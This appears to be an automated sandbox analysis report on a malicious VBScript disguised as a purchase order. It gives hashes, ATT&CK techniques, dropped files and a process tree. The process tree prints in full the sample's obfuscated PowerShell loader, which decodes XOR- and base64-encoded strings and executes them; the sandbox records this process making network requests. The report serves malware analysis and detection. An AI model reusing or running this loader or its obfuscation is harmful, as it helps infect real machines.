4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/08/2026, 04:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
purchase order#13345.vbs
Size 22KB
Sample260811-e8bcfsgj3t
SHA256 4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c
MD5 211e481031522e538d8cb1766f13999d
SHA1 b4b2e8d8b2a19c3c4736ee01cf64314a01c4834b
SHA512 2c4a232a303b9c528655b91d4d9d655676d01df887a64761d20a226b0289c986cae3b99106830fa6633ffdb77d67f09a15b201c6dc46be095ccbaab20a8363af
SSDEEP 384:KQMSeaMi3m3EGSNtzCAhwrp9aEiFJ5KOlgoTD+vNhOvnNJ0NM/R54wigYZl+7qe9:KP0tKGMeYmvnv/R54wQ6auNHV
TLSH
T10AA251D78C458BF0192A2606BD5FA419AB310365B838694D399FF38DFB367508BC1CA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	4156	powershell.exe
16	4156	powershell.exe
26	4156	powershell.exe
33	4156	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4156	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2204	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 4156	2204	WScript.exe	86
PID 4156 wrote to memory of 1488	4156	powershell.exe	88
PID 1488 wrote to memory of 1576	1488	csc.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchase order#13345.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=38-31;$m9rijvAzy='1ag12uqYPB';$fe5KVzaVt='96c19eeff9adafdea984feaebdbbb58cbe909586ffb8eda895d580bd9f9cb598a8e9eeb6b896aa87f2a5b9d6f9b1ba949f9ac6f1f7c8fdbcae81939ce29bbff4ecb0b89c96c8a6eb96d5fdabf5a09f8beeb9a4efe18fa99c8e87f8a4a1cfe1afbeaec0d2cfa7beaaaad2d1d798deaff6eaffc091ab91978bfc9efef7e2bb9ca58ea7e289fcf8aab3aea983aacfae95d5a8858cc38fbdf69da0f9df89b197bd84eda9a7e8ffbc93a5938adca7a7d2df91a8aaa2a6e1828bd9f7868cc6ca8aa9fa85c2c08db796c9aaaa92a0e3e886a2b1808cdc8dfdfacf92bca2a2a6e1919aaaf1bd93989dbcdcf2a5c1dd99a190c8beef92a0e3ad949cb9cf8cdc9dafc3cb9db5b8a29cd9a8fed5f4bd8cb9898dc889a2cbcd99a190c8beef92a0e3ad93b097968cde9df9c1cf91ea97bd84ee91fddde2bce9a58eb1f6b3f8d0dbb4ecbabd84f6808afcff968fc28f8cccb3bed0c0abe2bab2a2f7af85cde1bdb2b1b88bd38988f9aaeeb392addcee9afecde1bcb6a58f8cde99bbf9cf99ab9193ddd6a9ffddf3949c908aa7a8faf4bc95d59a979ec5cfb2bdfeb8f28f8a8a8ddfaeabf2f6b6af9a9586bbe396cffda7afddbf86f8a4a9f2f6b886c9c0bdcf8df5b5dfbaafa08e9af2a5aab3c39cb49d8c8de9bf90a1a299a99c97aafab8a8adac8caf819386fce3e9f9aeebf2dad3e591adb8f5fbabb29c94c8ffe3e9f7b1a4ff84c7a6febce0d4fab5be908ec8d5aeb9b5cfbab9b09681fea5b9a0b098be87d7bafaa5a9f4f5ffff9fdac5d8a4b8f5ecffff9fd4abf4bea3efb1a3fe888e9ae2b0bffeecaaa99ddaccece589f4efb1b79c9b8cdfaab9fab0fb84da878bfabfaef3e3a2a68ef7e2fdbea3f8ecb6b49dda81b3efacb7bcabf7d797c4bfbbf0dbb0f6f288de91a6909df3f9b1af9c97affabfa8c6a2e5979c9b8cdab8befef5bdb78ad2ccfae2f6bfcae2ff8ad4affebf99e2e8baa8dbd394a4b0e9c4b699ae9f96a6faa6a8bbb5';$iebhp6val='AUUSQBNdHyhrKkBmHCMCVGlpcX8LUBpACgwMV1dyAlhXBxNJS2IrVQ1aVg0JR2JgZHAXaRU0EkJIZWY7KltcNBJCSGVmOzdAUxAOQwhFa2QQVVwHAgcNJT4zCwlbAk8BAGIrXhdnRgUTSUclfkwlV0YNEUFQY3dKXg5xFgJBUGlMeRdAUwoERQwoVz4ZDxYKSWlKemp8ARwWC0sEVCV4Gm45OEAMHWQkLTAMQEZDRwsEK3UtSxtBDQBORWtgfgpHWwMJSUUiZnhKTlNLDElednw4VRpYFAAHDSAtMAxARhRdDws9PCVKBgdRSREdOSsmUQQdDQpHCz0rfRRTFU1LCANkcWMUDh1LVRAdIjAjSgUCV0kRFzwqfglTHVVJSlRrIj5NOTgNAQgMKGIqABQWD04NRWJhP0BADz8zRVx4K1IKV10ADk5DUT8tMWB0XElnQXhWYxZdXANPBEMlLDoJVUYHDwcYMFZDJRMST0cHdlg7KUwaGFtOHBhJSzBEHxJDIx4aKyxsaT4SRENHQ2olKkQTcC42EHJYbyVLQ1MWSFVXImpkBU0dS11TQ39jfANSWgIURldoIjdfFBYDAEYEMSUzA1NUSjRVRn9xZQ1aVUxXDAQoYnACGn4BCUdQZCU6RAUATWoqAGAlKkQTAkNHGykGIXodCRUJHlBWY2JlBVkcLAgHBCclMAlRVxdAGykGJTdEFFtET3tnY2thAUZGOV0aYn5qeiZVQQFRFHd4d34KUxpAKkFQb21yF28DOU4JBChobkQTQBEJU1crJVdMEFUDAQwEKGk7RBMVSEcHZXx1WwVBXAcPBwgsIidDFB5EQFgSOCI+aT4SREcAY2lxOjRGXQcCU1dwdngWQBInN3UEIWFyF1dOFwJMQW9xN0lSWxYUVAQ5eXEQFHwFCkUIT1VCREk/bmoqBCwlN0QUEkRHAA==';$x2A5oGcZc=0x71BE-0xE61A;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0xAA)};$jM07j2=$ie3q2xL33;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0x55)};$fAopVYeyu=$ie3q2xL33;$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$fe5KVzaVt.Length;$j+=2){$ie3q2xL33oldR+=[char](([Convert]::ToInt32($fe5KVzaVt.Substring($j,2),16))-bxor$jM07j2[$i++%$jM07j2.Length])};$d79Gp0D=$ie3q2xL33oldR;$ie3q2xL33oldB=[Convert]::FromBase64String([regex]::Replace($iebhp6val, '$ie3q2xL33', ''));$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$ie3q2xL33oldB.Length;$j++){$ie3q2xL33oldR+=[char]($ie3q2xL33oldB[$j]-bxor$fAopVYeyu[$i++%$fAopVYeyu.Length])};$dyfvcmf=$ie3q2xL33oldR;$yqg5qd=$d79Gp0D+$dyfvcmf;.($env:ComSpec[4,26,25]-join'') $yqg5qd
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k2mh0clh\k2mh0clh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1488
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC9D.tmp" "c:\Users\Admin\AppData\Local\Temp\k2mh0clh\CSC9998030F8294425398E18A733747A013.TMP"
      4⤵
      PID:1576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESC9D.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC9D.tmp
Size 1KB
SHA256 5850fa71c603b6846f8cf25d26b325b03eea01cd61959709c81cc985c6f11b9e
MD5 79880353156c4c7acadfbce31fc653c5
SHA1 25024d7671461ff6b9d512cc819dd720f1844a47
SHA512 33695d99747afe0c1ecf5ec524358c5cc028eccda7cf40f9f66d546d5ddf2254a989ba45a4bbdadf92bbae723ea90983aead1a75fa1d6082350bbe21272e0eba
TLSH
T17521CC0583E8470EF0B75731B9F6076F9224FD58EF61935A8540422C2C41544EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_py0xl1c1.r5s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_py0xl1c1.r5s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

k2mh0clh.dll

Path C:\Users\Admin\AppData\Local\Temp\k2mh0clh\k2mh0clh.dll
Size 3KB
SHA256 d2922bf1d9d40e1b7a7883cfdbfb1e8b5a7a73d9e4b194b0541ccae6859d73b6
MD5 7bc592af8a586f9faf88cf23ebd52a18
SHA1 af4e707f1bb8b6e943529aa570d5cd64846cf61d
SHA512 c5fa824dd29f9243f53ae0cf24344bd3eb55cfc7f8a5d198c8f8d10e4e48c74ac406f3d7dcaa4cc7d6e8779e7fcb1c0437fc824a1d8f17fa8b09af1ded08c76e
TLSH
T19951C00A53E8463BE8B70B317EF743572774F9209B62535D4980022CAC657745E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSC9998030F8294425398E18A733747A013.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\k2mh0clh\CSC9998030F8294425398E18A733747A013.TMP
Size 652B
SHA256 04a8f98446dc46aedaa5d4e30dd9e2ac927d3b05a9e8b91d4c2302cea1d1923d
MD5 3f11aae01108a0bc434ffbfe71a5e22f
SHA1 13b37d7f31748e2d16c822bfdced3cb47c83ed46
SHA512 333501c86acb04c6602b5ee41095977ee4ca96e0770a9f69bc7e8691737a856e6f20e9e41d656b2e1fe4867dd8a05f23d3871b2f0671cf2e75776f2ce4135894
TLSH
T1FDF0540A63F8420EF4F39B30FDF543A39569BC64DE3253ED148003192864910D971F71
MD5 SHA1 SHA512 TLSH

Submit Download

k2mh0clh.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\k2mh0clh\k2mh0clh.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

k2mh0clh.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\k2mh0clh\k2mh0clh.cmdline
Size 369B
SHA256 a027d0bfb5be90cee21d9a4a31b50ba0a839a9fad9b1adeecab49f17c9473f8c
MD5 3861c760bb158bab8bd8a03b4f4fad89
SHA1 f4dfde6283b547aac54783823b37f83c12ee14ee
SHA512 121ebd3c899d76b2d62901db87488936b10379b5cbc1f4912ad5c7a3d9aa130aeec9cac38cc7e61c56ff4e3a691949a6c48ae3562743679d5a5c2ba4e2eb6d83
TLSH
T1E3E0C02B4257C27D15DF10073579D8BCC772178B29403F8450644C2ED01F44067F1F51
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4156-2-0x00000189F72C0000-0x00000189F72E2000-memory.dmp

Download

memory/4156-10-0x00000189F7890000-0x00000189F78A0000-memory.dmp

Download

memory/4156-1-0x00000189F7890000-0x00000189F78A0000-memory.dmp

Download

memory/4156-0-0x00000189F7890000-0x00000189F78A0000-memory.dmp

Download

memory/4156-23-0x00000189F7860000-0x00000189F7868000-memory.dmp

Download

memory/4156-24-0x00000189F7890000-0x00000189F78A0000-memory.dmp

Download

memory/4156-25-0x00000189F7890000-0x00000189F78A0000-memory.dmp

Download

memory/4156-26-0x00000189F7890000-0x00000189F78A0000-memory.dmp

Download

memory/4156-27-0x00000189F7140000-0x00000189F715A000-memory.dmp

Download